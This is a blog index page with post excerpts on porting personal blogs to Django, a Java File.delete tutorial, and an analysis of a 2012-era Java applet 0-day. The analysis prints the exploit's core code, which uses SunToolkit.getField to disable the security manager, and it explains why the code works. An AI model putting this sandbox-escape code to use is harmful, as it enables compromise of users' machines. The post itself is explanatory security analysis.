Nov 3, 2016
I spent a little time in the past week porting one of my blogs to Python using Django. If the website looks similar to these four blogs, it's because they are all the same codebase with a handful of tweaks to make it possible to unify them with my other blogs and journals. While they aren't all ported yet, I thought I'd write a quick blog to explain things. For a decade and a half, I've been blogging on a PHP website I wrote in 2002 for Javantea's Fate and improved over time. In 2011, I wrote a blog in Python with Django for my trip to Brasil. When I went to Mexico, I copied the blog and created a second database. When I bought j4va.com for fun and profit (not really), I first put up a copy of java.com with some interesting things in its place. Then when I wanted to turn it into a blog, I copied the Brasil blog and made a third database. Now that I finally want to unify my blogs, it makes perfect sense to simply use the same thing, but copy all the data from the all the blogs into a single database. It's so well-written, that I didn't really need a really bad intro page anymore. So now AltSci.com goes to that unified blog interface. There's a lot of logic that makes it happen, but I'll leave that unsaid.
Of all my travels, only one trip is not available on my unified blog. I decided to use MediaWiki for my Europe Blog and spammers destroyed that blog, so I don't have easy access to the data. Eventually I'll grab the data and post it to this blog. For now, the pictures and videos will do. You have to click on the videos to get them.
Read more »Another Java 0-day vulnerability. It's being exploited in the wild. Just like last time. Repeat after me, turn off Java in all your browsers.
Read more »
The front page of Slashdot today tells us that another Java 0-day has been found. It works in Metasploit and is being used in the wild. Turn off the Java plugin now! Never turn it back on.
[article]
The analysis of this seems to point to the getField function of sun.awt.SunToolkit. See the code below for the guts of the exploit.
private void SetField(Class paramClass, String paramString, Object paramObject1,
Object paramObject2)
throws Throwable
{
Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"),
"getField", arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
}
This function SetField is called in disableSecurity.
public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager",
new Object[1]);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(
new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(
new ProtectionDomain[] {
localProtectionDomain
});
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
localStatement.execute();
}
[source]
We can look at the source code of sun.awt.SunToolkit from jdk/src/share/classes/sun/awt/SunToolkit.java.
public static Field getField(final Class klass, final String fieldName) {
return AccessController.doPrivileged(new PrivilegedAction() {
public Field run() {
try {
Field field = klass.getDeclaredField(fieldName);
assert (field != null);
field.setAccessible(true);
return field;
} catch (SecurityException e) {
assert false;
} catch (NoSuchFieldException e) {
assert false;
}
return null;
}//run
});
}
This code uses AccessController.doPrivileged which is used 13 times in SunToolkit. In the case of getField, it takes an arbitrary class, retrieves an arbitrary field, and sets it accessible using field.setAccessible(true). Then it returns it. This is a very subtle vulnerability if you don't understand Java's sandbox security model. AccessController.doPrivileged is a function to allow privileged actions to be called by unprivileged users (malicious applets that run without user consent). It can be used securely, but Oracle's programmers must be very careful about how it can be used. setAccessible is a method of AccessibleObject which is the base class for Field amongst other things, in this case Statement.acc. The field which the attack wishes to access is Statement.acc. Statement is part of java.beans. Statement.acc is private final AccessControlContext acc = AccessController.getContext(); The attack is able to then run ((Field)acc).set(localStatement, localAccessControlContext) where localStatement is a Statement object with data System.setSecurityManager(null) and localAccessControlContext is an AccessControlContext which allows AllPermission. Therefore you get a Statement where it's acc allows AllPermission, which can then be executed.
Read more »
Here we have another easy Java tutorial. You want to delete a file. Easy, right?
import java.io.File;
class j4vaDelete
{
void deleteJohn() {
String filename="john.txt";
File file = new File(filename);
if(file.exists()){ file.delete(); }
}
// public
public static void main(String [] args)
{
j4vaDelete a = new j4vaDelete();
a.deleteJohn();
}
}
Well, it never is just that easy. What if you don't have permission to delete this file?
javac j4vaDelete.java echo data > john.txt chmod a-w . java j4vaDelete
What do you expect the outcome to be? Deleted file? No. Runtime Exception? No. It does nothing. There are two ways to detect whether the file was actually deleted. The first is to check the return value. The second is after you delete a file, check whether it was deleted by checking the value of file.exists(). If that doesn't work you either have to throw an exception yourself, inform the user, or do nothing. Fun, eh? What is more fun is when you have a lot of code relying upon this deletion. What if the user accidentally uploaded a file they didn't want to display? You delete it and you say it was deleted but it doesn't actually delete.
Java's documentation of the File.delete method
Read more »
